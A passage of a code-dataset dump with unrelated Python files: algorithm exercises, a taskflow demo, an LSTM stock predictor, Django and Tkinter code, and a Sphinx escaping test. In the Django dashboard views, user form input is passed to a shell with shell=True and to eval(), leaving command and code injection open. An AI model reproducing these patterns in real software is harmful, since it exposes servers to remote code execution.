self.assertIn('malic\\\\u0027\\\\u0027ious', data)\n\n def test_escape_canonical_url(self):\n self._run_test(\n 'pyexample',\n '_build/html/index.html',\n '',\n builder='html',\n )\n\n @pytest.mark.skipif(version_info < (1, 8), reason='Requires sphinx>=1.8')\n def test_canonical_url(self):\n self._run_test(\n 'pyexample-json',\n '_build/html/index.html',\n 'Always link to the latest version, as canonical.',\n builder='html',\n assert_in=False,\n )\n\n self._run_test(\n 'pyexample-json',\n '_build/html/index.html',\n '',\n builder='html',\n )\n","sub_path":"tests/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"336897284","text":"# coding:utf-8\n#!/usr/bin/python\n# ========================================================\n# Project: project\n# Creator: lilyluo\n# Create time: 2020-05-01 17:22\n# IDE: PyCharm\n# =========================================================\nclass Solution:\n def solveNQueens(self, n):\n '''回溯法'''\n def could_place(row, col):\n '''判断是否能够防止queen'''\n return not (cols[col] + hill_diagonals[row - col] + dale_diagonals[row + col])\n\n def place_queen(row, col):\n '''放置quen'''\n queens.add((row, col))\n cols[col] = 1 #标记列不能放置\n hill_diagonals[row - col] = 1 #标记主对角线不能放置\n dale_diagonals[row + col] = 1 #标记次对角线不能放置\n\n def remove_queen(row, col):\n '''组合不成功,进行回退'''\n queens.remove((row, col)) # 移除 row 行上的皇后\n cols[col] = 0 # 当前位置的列方向没有皇后了\n hill_diagonals[row - col] = 0 #// 当前位置的主对角线方向没有皇后了\n dale_diagonals[row + col] = 0 #当前位置的次对角线方向没有皇后了\n\n def add_solution():\n '设置最好的solution,赋给output'\n solution = []\n for _, col in sorted(queens):\n solution.append('.' * col + 'Q' + '.' * (n - col - 1))\n output.append(solution)\n\n def backtrack(row=0):\n '''回溯'''\n for col in range(n):\n if could_place(row, col):\n place_queen(row, col)\n if row + 1 == n: #退出条件\n add_solution()\n else:\n backtrack(row + 1) #回溯\n remove_queen(row, col) #回退\n\n cols = [0] * n #放置queen的列\n hill_diagonals = [0] * (2 * n - 1) #主对角线\n dale_diagonals = [0] * (2 * n - 1) #次对角线\n queens = set()\n output = []\n backtrack()\n return output\n\nso = Solution()\nso.solveNQueens(4)","sub_path":"Week_03/solveNQueens.py","file_name":"solveNQueens.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"136054091","text":"import contextlib\r\nimport hashlib\r\nimport os\r\nimport random\r\nimport sys\r\nfrom oslo_utils import uuidutils\r\nfrom taskflow import engines\r\nfrom taskflow.patterns import graph_flow as gf\r\nfrom taskflow.patterns import linear_flow as lf\r\nfrom taskflow.persistence import models\r\nfrom taskflow import task\r\n\r\ntop_dir = os.path.join(os.path.dirname(__file__), os.pardir)\r\ntop_dir = os.path.abspath(top_dir)\r\nsys.path.append(top_dir)\r\nfrom utils import example_utils as eu\r\n\r\n\r\nclass PrintText(task.Task):\r\n def __init__(self, print_what):\r\n content_hash = hashlib.md5(print_what.encode('utf-8')).hexdigest()\r\n super().__init__(name=\"Print: %s\" % content_hash)\r\n self._text = print_what\r\n\r\n def execute(self):\r\n print(\"-\" * (len(self._text)))\r\n print(self._text)\r\n print(\"-\" * (len(self._text)))\r\n\r\n\r\nclass CreateSpecForVolumes(task.Task):\r\n default_provides = 'volume_specs'\r\n\r\n def execute(self): # . --> 'volume_specs'\r\n volumes = []\r\n for i in range(0, random.randint(1, 10)):\r\n volumes.append({\r\n 'type': 'disk',\r\n 'location': \"/dev/vda%s\" % (i + 1),\r\n })\r\n return volumes\r\n\r\n\r\nclass PrepareVolumes(task.Task):\r\n def execute(self, volume_specs): # 'volume_specs' --> .\r\n for v in volume_specs:\r\n print(\"Dusting off your hard drive %s\" % v)\r\n print(\"Taking a well deserved break.\")\r\n print(\"Your drive %s has been certified.\" % v)\r\n\r\n\r\nflow = lf.Flow(\"root\").add(\r\n PrintText(\"Starting volume create\"),\r\n gf.Flow('maker').add(\r\n CreateSpecForVolumes(\"volume_specs\"),\r\n PrintText(\"I need a nap, it took me a while to build those specs.\"),\r\n PrepareVolumes(),\r\n ),\r\n PrintText(\"Finished volume create\")\r\n)\r\n\r\nwith eu.get_backend() as backend:\r\n book = models.LogBook('resume-volume-create') # 1.创建Book, 追踪FlowDetail\r\n flow_detail = models.FlowDetail(\"root\", uuid=uuidutils.generate_uuid()) # 2.创建FlowDetail, 追踪Task\r\n book.add(flow_detail) # 3.绑定FlowDetail --> LogBook\r\n\r\n with contextlib.closing(backend.get_connection()) as conn: # 4.保存LogBook到本地\r\n conn.save_logbook(book)\r\n\r\n print('book.uuid={}, engine.storage.flow_uuid={}'.format(book.uuid, flow_detail.uuid))\r\n # flow_detail,backend --> flow\r\n engine = engines.load(flow, flow_detail=flow_detail, backend=backend, engine='serial')\r\n engine.run()\r\n","sub_path":"python/taskflow/my-example/resume_volume_create.py","file_name":"resume_volume_create.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"187758188","text":"# -*- coding: utf-8 -*-\n\"\"\" Project : PyCoA\nDate : april 2020 - march 2022\nAuthors : Olivier Dadoun, Julien Browaeys, Tristan Beau\nCopyright ©pycoa.fr\nLicense: See joint LICENSE file\n\nModule : coa.error\n\nAbout :\n-------\n\nMain class definitions for error management within the pycoa framework.\nAll Coa exceptions should derive from the main CoaError class.\n\"\"\"\n\n\nclass CoaError(Exception):\n \"\"\"Base class for exceptions in PyCoa.\"\"\"\n\n def __init__(self, message):\n #self.message = message\n message = ' ' + message + ' '\n pycoatexterror = 'PYCOA Error ! '\n center=int((len(message)-len(pycoatexterror))/2)\n self.message = ' '*len(message)+'\\n'\\\n + ' '*center+pycoatexterror+' '*center+'\\n'\\\n + message.center(30)+'\\n'+' '*len(message)\n print('\\033[1;30;41m'+self.message)\n Exception(message)\n\n\nclass CoaNoData(CoaError, IndexError):\n \"\"\"Exception raised when there is no data to plot or to manage (invalid cut)\"\"\"\n\n def __init__(self, message):\n self.message = message\n IndexError(message)\n CoaError(message)\n\n\nclass CoaKeyError(CoaError, KeyError):\n \"\"\"Exception raised for errors in used key option.\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, message):\n self.message = message\n KeyError(message)\n CoaError(message)\n\n\nclass CoaWhereError(CoaError, IndexError):\n \"\"\"Exception raised for location errors.\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, message):\n self.message = message\n IndexError(message)\n CoaError(message)\n\n\nclass CoaTypeError(CoaError, TypeError):\n \"\"\"Exception raised for type mismatch errors.\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, message):\n self.message = message\n TypeError(message)\n CoaError(message)\n\n\nclass CoaLookupError(CoaError, LookupError):\n \"\"\"Exception raised for type lookup errors.\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, message):\n self.message = message\n LookupError(message)\n CoaError(message)\n\n\nclass CoaNotManagedError(CoaError):\n \"\"\"Exception raised when the error is unknown and not managed.\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, message):\n self.message = message\n CoaError(message)\n\n\nclass CoaDbError(CoaError):\n \"\"\"Exception raised for database errors.\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, message):\n self.message = message\n CoaError(message)\n\n\nclass CoaConnectionError(CoaError, ConnectionError):\n \"\"\"Exception raised for connection errors.\n\n Attributes:\n message -- explanation of the error\n \"\"\"\n\n def __init__(self, message):\n self.message = message\n ConnectionError(message)\n CoaError(message)\n","sub_path":"coa/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"283244284","text":"\"\"\"\r\n Sola Gbenro:\r\n Deep Learning A-Z -- Part 3 Recurrent Neural Network\r\n\"\"\"\r\nimport os\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n# save flag\r\nSAVE = True\r\n# import training data\r\ndataset_train = pd.read_csv('Google_Stock_Price_Train.csv')\r\n# grab all rows, but only the 'Open' column values (we will be predicting opening price for Jan 2017)\r\ntraining_set = dataset_train.iloc[:, 1:2].values # [:, 1] creates a single vector, we need numpy array\r\n\r\n# Feature Scaling, for RNN Normalisation is recommended over Standardisation\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nsc = MinMaxScaler(feature_range=(0, 1))\r\n# apply feature scalar\r\ntraining_set_scaled = sc.fit_transform(training_set)\r\n\r\n\"\"\"\r\n \"Creating a data structure with 60 timesteps and 1 output\"\r\n\r\n View previous 60 values in calculating next value. For each observation, X_train will contain the previous 60\r\n 'Open' prices and y_train will contain the next financial days 'Open' price.\r\n\"\"\"\r\nX_train = []\r\ny_train = []\r\n# last index in observations = 1258\r\nfor i in range(60, 1258):\r\n # take a rolling 60 observations\r\n X_train.append(training_set_scaled[i-60:i, 0])\r\n # upperbound is excluded, take i instead of i+1\r\n y_train.append(training_set_scaled[i, 0])\r\n\r\n# convert to numpy arrays for RNN input\r\nX_train, y_train = np.array(X_train), np.array(y_train)\r\n\r\n\"\"\"\r\n Add dimension to training data, required by RNN (also adds ability to add additional features such as close price)\r\n From Keras: 3D tensor with shape (batch_size, timesteps, input_dim)\r\n - batch_size here is equal to total observations (1258)\r\n - timesteps is equal to count of previous observations included in calculation (60)\r\n - input_dim is number of indicators/predictors or features included as independent variable\r\n\"\"\"\r\n# X_train.shape[0] = len of rows\r\n# X_train.shape[1] = num of cols\r\nX_train = np.reshape(X_train, (X_train.shape[0], X_train.shape[1], 1))\r\n\r\n# create model\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.layers import LSTM\r\nfrom keras.layers import Dropout\r\n\r\nregressor = Sequential()\r\n# Add first layer\r\n# return_sequences = True for ALL but the last layer of LSTM (want to feedforward)\r\n# input_shape = num timesteps and number of indicators/predictors/features\r\nregressor.add(LSTM(units=50, return_sequences=True, input_shape=(X_train.shape[1], 1)))\r\nregressor.add(Dropout(0.2))\r\n# Add second layer\r\nregressor.add(LSTM(units=50, return_sequences=True))\r\nregressor.add(Dropout(0.2))\r\n# Add third layer\r\nregressor.add(LSTM(units=50, return_sequences=True))\r\nregressor.add(Dropout(0.2))\r\n# Add fourth layer, this will be last LSTM layer (no return_sequences)\r\nregressor.add(LSTM(units=50))\r\nregressor.add(Dropout(0.2))\r\n# Add final/output layer, output will have single dimension\r\nregressor.add(Dense(units=1))\r\n\r\n# compile the model\r\nregressor.compile(optimizer='adam', loss='mean_squared_error')\r\n\r\n# fit model on training set\r\nregressor.fit(X_train, y_train, epochs=100, batch_size=32)\r\n\r\n# save model\r\nif SAVE is True:\r\n regressor.save(os.getcwd() + '\\models')\r\n\r\n# load test_set\r\ndataset_test = pd.read_csv('Google_Stock_Price_Test.csv')\r\nreal_stock_price = dataset_test.iloc[:, 1:2].values\r\n\r\n# view prediction and test\r\ndataset_total = pd.concat((dataset_train['Open'], dataset_test['Open']), axis=0)\r\ninputs = dataset_total[len(dataset_total) - len(dataset_test) - 60:].values\r\ninputs = inputs.reshape(-1, 1)\r\ninputs = sc.transform(inputs)\r\nX_test = []\r\nfor i in range(60, 80):\r\n X_test.append(inputs[i-60:i, 0])\r\nX_test = np.array(X_test)\r\nX_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1))\r\npredicted_stock_price = regressor.predict(X_test)\r\npredicted_stock_price = sc.inverse_transform(predicted_stock_price)\r\n\r\n# Visualising the results\r\nplt.plot(real_stock_price, color='red', label='Real Google Stock Price')\r\nplt.plot(predicted_stock_price, color='blue', label='Predicted Google Stock Price')\r\nplt.title('Google Stock Price Prediction')\r\nplt.xlabel('Time')\r\nplt.ylabel('Google Stock Price')\r\nplt.legend()\r\nplt.show()\r\n","sub_path":"rnn/rnn_main.py","file_name":"rnn_main.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"555005639","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('prognoz', '0032_remove_prognozdata_dist_id'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='prognozdata',\n name='distance_pr',\n field=models.SmallIntegerField(default=1, verbose_name=b'\\xd0\\x9f\\xd1\\x80\\xd0\\xb8\\xd0\\xb2\\xd1\\x8f\\xd0\\xb7\\xd0\\xba\\xd0\\xb0'),\n preserve_default=False,\n ),\n ]\n","sub_path":"prognoz/migrations/0033_prognozdata_distance_pr.py","file_name":"0033_prognozdata_distance_pr.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"408943663","text":"import example\n\ndef introduction(str):\n print('**********************{}********************'.format(str))\n\n\n\n\ndef prepare_course():\n course_dict = {'01':'网络爬虫',\n '02':'数据分析',\n '03':'人工智能',\n '04':'机器学习',\n '05':'云计算',\n '06':'大数据',\n '07':'图像识别',\n '08':'Web开发'}\n course_list = []\n for i in course_dict:\n course_list.append(example.Course(i,course_dict[i]))\n return course_list\n\ndef create_teacher():\n t1 = [[\"T1\", \"张亮\", \"13301122001\"],\n [\"T2\", \"王朋\", \"13301122002\"],\n [\"T3\", \"李旭\", \"13301122003\"],\n [\"T4\", \"黄国发\", \"13301122004\"],\n [\"T5\", \"周勤\", \"13301122005\"],\n [\"T6\", \"谢富顺\", \"13301122006\"],\n [\"T7\", \"贾教师\", \"13301122007\"],\n [\"T8\", \"杨教师\", \"13301122008\"]]\n\n teacher_list = []\n for i in range(len(t1)):\n teacher_list.append(example.Teacher(t1[i][0], t1[i][1], t1[i][2]))\n return teacher_list\n\ndef course_to_teacher():\n course_teacher = []\n ls_course = prepare_course()\n ls_teacher = create_teacher()\n for i in range(len(ls_course)):\n course_teacher.append(ls_course[i].binding(ls_teacher[7-i]))\n return course_teacher\n\ndef create_student():\n ls_student = [\"小亮\", \"小明\", \"李红\", \"小丽\", \"Jone\", \"小彤\", \"小K\", \"慕慕\"]\n id_limit = []\n for i in range(1000, 1008):\n id_limit.append(i)\n\n student_list = []\n for i in range(len(ls_student)):\n student_list.append(example.Student(id_limit[i],ls_student[7-i]))\n return student_list\n\nif __name__ == '__main__':\n create_teacher()\n prepare_course()\n print(course_to_teacher())\n introduction('慕课学院一班学生信息')\n for i in range(len(create_student())):\n print(create_student()[i].__str__())\n introduction('慕课学院一班选课结果')\n student_list = create_student()\n print(student_list)\n course_teacher = course_to_teacher()\n for i in range(len(course_teacher)):\n student_list[i].add_course(course_teacher[i])\n print(student_list[i].course_detail)\n print(student_list[0].course_detail)\n\n for i in range(len(student_list)):\n print('Name:{},Selected:{}'.format(student_list[i].name, student_list[i].course_detail))\n # # print(create_student()[i].add_course(course_to_teacher()[i]))\n\n","sub_path":"MyHomeWork/file_exe.py","file_name":"file_exe.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"132707934","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom optboard.settings import MEDIA_ROOT\nfrom collections import OrderedDict\nfrom queue import Queue\nimport subprocess\nimport base64\nimport io\nimport os\nimport re\nimport ast\n\nfrom .models import Solver, Result, Project\nfrom .forms import SolverForm, ProjectForm\n\n\ndef project_select(request):\n \"\"\" projectの選択 \"\"\"\n projects = Project.objects.all()\n return render(request, 'dashboard/project_select.html', {'projects': projects})\n\n\ndef project_edit(request, edit_project_id=None):\n \"\"\" projectの編集 \"\"\"\n\n if edit_project_id:\n edit_project = get_object_or_404(Project, pk=edit_project_id)\n else:\n edit_project = Project()\n\n if request.method == 'POST':\n form = ProjectForm(request.POST, instance=edit_project)\n if form.is_valid():\n edit_project = form.save(commit=False)\n edit_project.save()\n return redirect('dashboard:project_select')\n else:\n form = ProjectForm(instance=edit_project)\n return render(request, 'dashboard/project_edit.html', dict(form=form, project=None, edit_project=edit_project))\n\n\ndef project_del(request, del_project_id):\n del_project = Project.objects.get(pk=del_project_id)\n del_project.delete()\n return redirect('dashboard:project_select')\n\n\ndef main_page(request, project_id):\n \"\"\" main page \"\"\"\n\n select_solver = None\n sort_type = 'id'\n for key, val in request.GET.items():\n if key == 'solver_id':\n select_solver_id = request.GET['solver_id']\n select_solver = Solver.objects.get(pk=select_solver_id)\n elif key == 'sort-type':\n sort_type = request.GET['sort-type']\n\n project = Project.objects.get(pk=project_id)\n solvers = Solver.objects.all().filter(project_id=project_id).order_by('id')\n results = Result.objects.all().filter(project_id=project_id).order_by(sort_type)\n\n if request.method == 'POST':\n solver = Solver.objects.get(name=request.POST['solver'])\n params = OrderedDict()\n for key in solver.get_keys():\n params[key] = request.POST[key]\n run(project, solver, params, request.POST['comment'])\n\n return render(request, 'dashboard/main_page.html', {'project': project, 'solvers': solvers, 'results': results, 'select_solver': select_solver})\n\n\ndef result_del_all(request, project_id):\n project = Project.objects.get(pk=project_id)\n results = Result.objects.all().filter(project_id=project_id).order_by('id')\n\n for r in results:\n r.delete()\n\n return redirect('dashboard:main', project_id=project.id)\n\n\ndef loopstr2obj(v):\n \"\"\" loopを表す文字列(float, list, range)をそれらのクラスへ変換 \"\"\"\n\n p = re.compile('range\\(\\d+(, *\\d+)?(, *\\d+)?\\)')\n if p.match(v) is not None:\n return list(eval(v)) # rangeを評価\n else:\n return ast.literal_eval(v)\n\n\ndef run(project, solver, runlist, comment):\n cmds = Queue()\n\n # 拡張子によって実行コマンドの切り替え\n root, ext = os.path.splitext(str(solver.solver_file))\n if ext == '.py':\n cmds.put(\"python {}/{} \".format(MEDIA_ROOT, solver.solver_file))\n else:\n cmds.put(\"./{}/{} \".format(MEDIA_ROOT, solver.solver_file))\n\n for k, v in runlist.items():\n v = loopstr2obj(v)\n\n ncmds = Queue()\n while not cmds.empty():\n cmd = cmds.get()\n if isinstance(v, list) or isinstance(v, range):\n v = list(v)\n for t in v:\n ncmds.put(cmd + \"{} \".format(t))\n else:\n cmd += \"{} \".format(v)\n ncmds.put(cmd)\n cmds = ncmds\n\n while not cmds.empty():\n cmd = cmds.get()\n try:\n res = subprocess.check_output(cmd, shell=True)\n res = res.split(b'\\n')\n res = res[-2].strip() # 最終行の値だけ取得\n except subprocess.CalledProcessError as e:\n print(\"Error:{}\".format(e))\n res = \"-1.0\"\n\n values = cmd.split()\n params = []\n for i, k in enumerate(runlist.keys()):\n params.append((k, values[i + 2]))\n\n result = Result(name=\"no name\", project=project, params=str(params), eval_val=res, solver=solver, elapsed_time=-1.0, comment=comment)\n result.save() # id付与のため一回保存\n result.name = \"result_{0:05d}\".format(result.pk)\n result.save()\n\n\ndef result_del(request, project_id, del_result_id):\n project = Project.objects.get(pk=project_id)\n del_result = Result.objects.get(pk=del_result_id)\n del_result.delete()\n return redirect('dashboard:main', project_id=project.id)\n\n\ndef solver_list(request, project_id):\n \"\"\" 手法一覧 \"\"\"\n project = Project.objects.get(pk=project_id)\n solvers = Solver.objects.all().filter(project_id=project_id).order_by('id')\n return render(request, 'dashboard/solver_list.html', {'project': project, 'solvers': solvers})\n\n\ndef solver_edit(request, project_id, solver_id=None):\n \"\"\" 手法の編集 \"\"\"\n project = Project.objects.get(pk=project_id)\n\n if solver_id:\n solver = get_object_or_404(Solver, pk=solver_id)\n else:\n solver = Solver()\n\n if request.method == 'POST':\n form = SolverForm(request.POST, request.FILES, instance=solver)\n if form.is_valid():\n solver = form.save(commit=False)\n solver.save()\n return redirect('dashboard:solver_list', project_id=project.id)\n else:\n form = SolverForm(instance=solver)\n return render(request, 'dashboard/solver_edit.html', dict(project=project, form=form, solver_id=solver_id))\n\n\ndef solver_del(request, project_id, solver_id):\n project = Project.objects.get(pk=project_id)\n return render(request, 'dashboard/main_page.html', {'project': project})\n\n\ndef analysis1D(request, project_id):\n project = Project.objects.get(pk=project_id)\n solvers = Solver.objects.all().filter(project_id=project_id).order_by('id')\n results = Result.objects.all().filter(project_id=project_id).order_by('id')\n\n select_solver = None\n select_param = None\n for key, val in request.GET.items():\n if key == 'solver_id':\n select_solver_id = request.GET['solver_id']\n select_solver = Solver.objects.get(pk=select_solver_id)\n elif key == 'select_param':\n select_param = request.GET['select_param']\n\n # 選択されたパラメータと評価値とのペアを格納していく\n x = []\n y = []\n for r in results:\n params = ast.literal_eval(r.params)\n for p in params:\n if p[0] == select_param:\n x.append(float(p[1]))\n y.append(float(r.eval_val))\n\n graphic = make_plot(x, y, select_param)\n\n return render(request, 'dashboard/1Dplot.html', {'project': project, 'graphic': graphic, 'solvers': solvers, 'select_solver': select_solver})\n\n\ndef make_plot(x, y, xlabel):\n from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\n from matplotlib.figure import Figure\n\n fig = Figure()\n ax = fig.add_subplot(111)\n ax.plot(x, y, 'o')\n ax.set_xlabel(xlabel)\n ax.set_ylabel('eval_val')\n\n canvas = FigureCanvas(fig)\n buf = io.BytesIO()\n canvas.print_png(buf)\n graphic = buf.getvalue()\n graphic = base64.b64encode(graphic)\n buf.close()\n\n return graphic\n\n\ndef analysis2D(request, project_id):\n import sys\n import numpy as np\n\n project = Project.objects.get(pk=project_id)\n solvers = Solver.objects.all().filter(project_id=project_id).order_by('id')\n graphic = None\n\n select_solver = None\n select_param1 = None\n select_param2 = None\n IS_PARAM = False\n\n for key, val in request.GET.items():\n if key == 'solver_id':\n select_solver_id = request.GET['solver_id']\n select_solver = Solver.objects.get(pk=select_solver_id)\n elif key == 'select_param1':\n select_param1 = request.GET['select_param1']\n IS_PARAM = True\n elif key == 'select_param2':\n select_param2 = request.GET['select_param2']\n\n if IS_PARAM:\n results = Result.objects.all().filter(project_id=project_id, solver=select_solver).order_by('id')\n # 選択されたパラメータの値の最大値と最小値を取得する\n xmin = sys.float_info.max\n xmax = sys.float_info.min\n ymin = sys.float_info.max\n ymax = sys.float_info.min\n\n for r in results:\n params = ast.literal_eval(r.params)\n for p in params:\n if p[0] == select_param1:\n xmin = min(xmin, float(p[1]))\n xmax = max(xmax, float(p[1]))\n elif p[0] == select_param2:\n ymin = min(ymin, float(p[1]))\n ymax = max(ymax, float(p[1]))\n\n # 最大値と最小値をもとにnumpyの配列を生成\n delta = 1.0\n xn = int((xmax - xmin) * delta)\n yn = int((ymax - ymin) * delta)\n data = np.zeros((xn + 1, yn + 1))\n\n # 配列への評価値の代入\n for r in results:\n params = ast.literal_eval(r.params)\n for p in params:\n if p[0] == select_param1:\n x = int((float(p[1]) - xmin) * delta)\n elif p[0] == select_param2:\n y = int((float(p[1]) - ymin) * delta)\n data[x][y] = r.eval_val\n\n graphic = make_heatmap(data, select_param1, select_param2)\n\n return render(request, 'dashboard/2Dplot.html', {'project': project, 'graphic': graphic, 'solvers': solvers, 'select_solver': select_solver})\n\n\ndef make_heatmap(data, xlabel, ylabel):\n from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\n from matplotlib.figure import Figure\n import matplotlib.pyplot as plt\n import numpy as np\n\n fig = Figure()\n ax = fig.add_subplot(111)\n heatmap = ax.pcolor(data, cmap=plt.cm.Blues)\n fig.colorbar(heatmap)\n\n ax.set_xticks(np.arange(data.shape[0]) + 0.5, minor=False)\n ax.set_yticks(np.arange(data.shape[1]) + 0.5, minor=False)\n\n ax.invert_yaxis()\n ax.xaxis.tick_top()\n\n ax.set_xlabel(xlabel)\n ax.set_ylabel(ylabel)\n\n canvas = FigureCanvas(fig)\n buf = io.BytesIO()\n canvas.print_png(buf)\n graphic = buf.getvalue()\n graphic = base64.b64encode(graphic)\n buf.close()\n\n return graphic\n","sub_path":"dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"452719233","text":"import math\n\nN = int(input())\nprice = input()\nprice = price.split(\" \")\nfor i in range(len(price)):\n price[i] = int(price[i])\n\nif N is not len(price):\n print(\"-1\")\n exit()\n\nminPrice = 9999999999999999999\nfor i in range(int(math.pow(2, N))):\n firstMonthWaste = 0\n secondMonthWaste = 0\n coupons = 0\n for j in range(N):\n if i & (1 << j):\n firstMonthWaste += price[j];\n coupons += int(price[j] / 1000)\n else:\n secondMonthWaste += price[j];\n\n maxSale = coupons * 500\n if secondMonthWaste * 0.2 < maxSale:\n maxSale = secondMonthWaste * 0.2\n\n curPrice = firstMonthWaste + secondMonthWaste - maxSale\n minPrice = min(minPrice, curPrice)\n\n\nprint('{0:.2f}'.format(minPrice))\n","sub_path":"sales(olimpiad).py","file_name":"sales(olimpiad).py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"480480363","text":"import os\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\n\n# Update the working directory\nos.chdir(\"H:\\\\KE5206CA1\\\\code\\\\regression\\\\data_preparation_and_analysis\")\n\n# Split ratios\ntraining_split = 0.7\ntesting_split = 0.3\n\nshould_split_only_test = True\n\ninput_df = pd.read_csv(\"../data/OnlineNewsPopularity.csv\")\ntraining_df, testing_df = train_test_split(input_df, test_size=testing_split, random_state=42)\ntraining_df.to_csv(\"../data/train_\"+str(training_split * 100) + \".csv\")\n\nif not should_split_only_test:\n testing_split = testing_split / 2\n testing_df, validation_df = train_test_split(testing_df, test_size=testing_split, random_state=42)\n validation_df.to_csv(\"../data/validation_\"+str(training_split * 100) + \".csv\")\n\ntesting_df.to_csv(\"../data/test_\"+str(testing_split * 100) + \".csv\")","sub_path":"regression/data_preparation_and_analysis/data_partitioner.py","file_name":"data_partitioner.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"341381881","text":"from tkinter import *\n\n\n# Oyunla ilgili gösterilecek bilgilerin sınıfı.\nclass Bilgi(object):\n def __init__(self, oyun, ana_pencere):\n self.oyun = oyun\n self.bilgi = \"\"\n self.bilgiKutusuYükseklik = 50\n # bilgi kutusuna yer hazırlamak için ana pencereyi büyüt ve ekranda ortala\n self.ana_pencere_büyüt_yerleştir(ana_pencere)\n # ana pencerede bilgilerin gösterileceği \"Text\" aracının konumlandırılacağı bir \"Frame\" oluştur\n self.çerçeve = self.çerçeve_oluştur(ana_pencere)\n # Çerçevenin üstünde bir metin kutusu oluştur ve bunun ayarlarını yap.\n self.metin_kutusu = self.metin_kutusu_oluştur_ayarla()\n \n # bilgi kutusuna yer hazırlamak için ana pencereyi büyüt ve ekranda ortala\n def ana_pencere_büyüt_yerleştir(self, ana_pencere):\n # pencerenin büyüklüğünü ve yerini öğren\n koor_x_ana_pencere = ana_pencere.winfo_x()\n koor_y_ana_pencere = ana_pencere.winfo_y()\n genişlik_ana_pencere = ana_pencere.winfo_width()\n yükseklik_ana_pencere = ana_pencere.winfo_height()\n \n # pencerenin yeni büyüklüğünü ve yeni koordinatlarını belirle\n yükseklik_ana_pencere += self.bilgiKutusuYükseklik\n koor_y_ana_pencere -= self.bilgiKutusuYükseklik / 2\n \n # pencereyi yeniden boyutlandır ve ekranda ortala\n ana_pencere.geometry(\"%dx%d+%d+%d\" % (genişlik_ana_pencere, yükseklik_ana_pencere, koor_x_ana_pencere,\n koor_y_ana_pencere))\n \n # pencereyi güncelle\n ana_pencere.update()\n\n # ana pencerede bilgilerin gösterileceği \"Text\" aracının konumlandırılacağı bir \"Frame\" oluştur\n def çerçeve_oluştur(self, ana_pencere):\n # pencerenin büyüklüğünü ve yerini öğren\n genişlik_ana_pencere = ana_pencere.winfo_width()\n yükseklik_ana_pencere = ana_pencere.winfo_height()\n \n # çerçevenin koordinatlarını ve büyüklüğünü ayarla\n koor_x_çerçeve = 0\n koor_y_çerçeve = yükseklik_ana_pencere - self.bilgiKutusuYükseklik\n genişlik_çerçeve = genişlik_ana_pencere\n yükseklik_çerçeve = self.bilgiKutusuYükseklik\n \n çerçeve = Frame(ana_pencere, width=genişlik_çerçeve, height=yükseklik_çerçeve)\n çerçeve.place(x=koor_x_çerçeve, y=koor_y_çerçeve)\n\n return çerçeve\n \n # çerçevenin üstünde bir yazı kutusu oluştur ve ayarlarını yap\n def metin_kutusu_oluştur_ayarla(self):\n # metin kutusu oluştur\n metin_kutusu = Text(self.çerçeve, bg=\"#FFFFFF\")\n metin_kutusu.place(x=0, y=0, relwidth=1.0, relheight=1.0)\n\n # yazı kutusu için kaydırma çubuğu oluştur ve bunu yerleştir\n kaydırma_çubuğu = Scrollbar(self.çerçeve)\n kaydırma_çubuğu.place(relx=0.95, rely=0, relheight=1.0)\n\n # Metin kutusunun ayarlarını yap.\n metin_kutusu.config(yscrollcommand=kaydırma_çubuğu.set)\n kaydırma_çubuğu.config(command=metin_kutusu.yview)\n\n return metin_kutusu\n\n # Oyunla ilgili gönderilen bilgiyi al ve kaydet.\n def bilgi_al(self, bilgi):\n self.bilgi = bilgi\n\n # Kaydedilen bilgiyi göster.\n def bilgi_göster(self):\n # yazı kutusuna bilgiyi ekle\n self.metin_kutusu.insert(END, \"\\n\")\n self.metin_kutusu.insert(END, self.bilgi)\n \n # yazı kutusunun sonuna girilen yazının görünmesini sağla\n self.metin_kutusu.see(END)\n","sub_path":"bilgi.py","file_name":"bilgi.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"653864108","text":"from tensorflow.python.keras.layers import 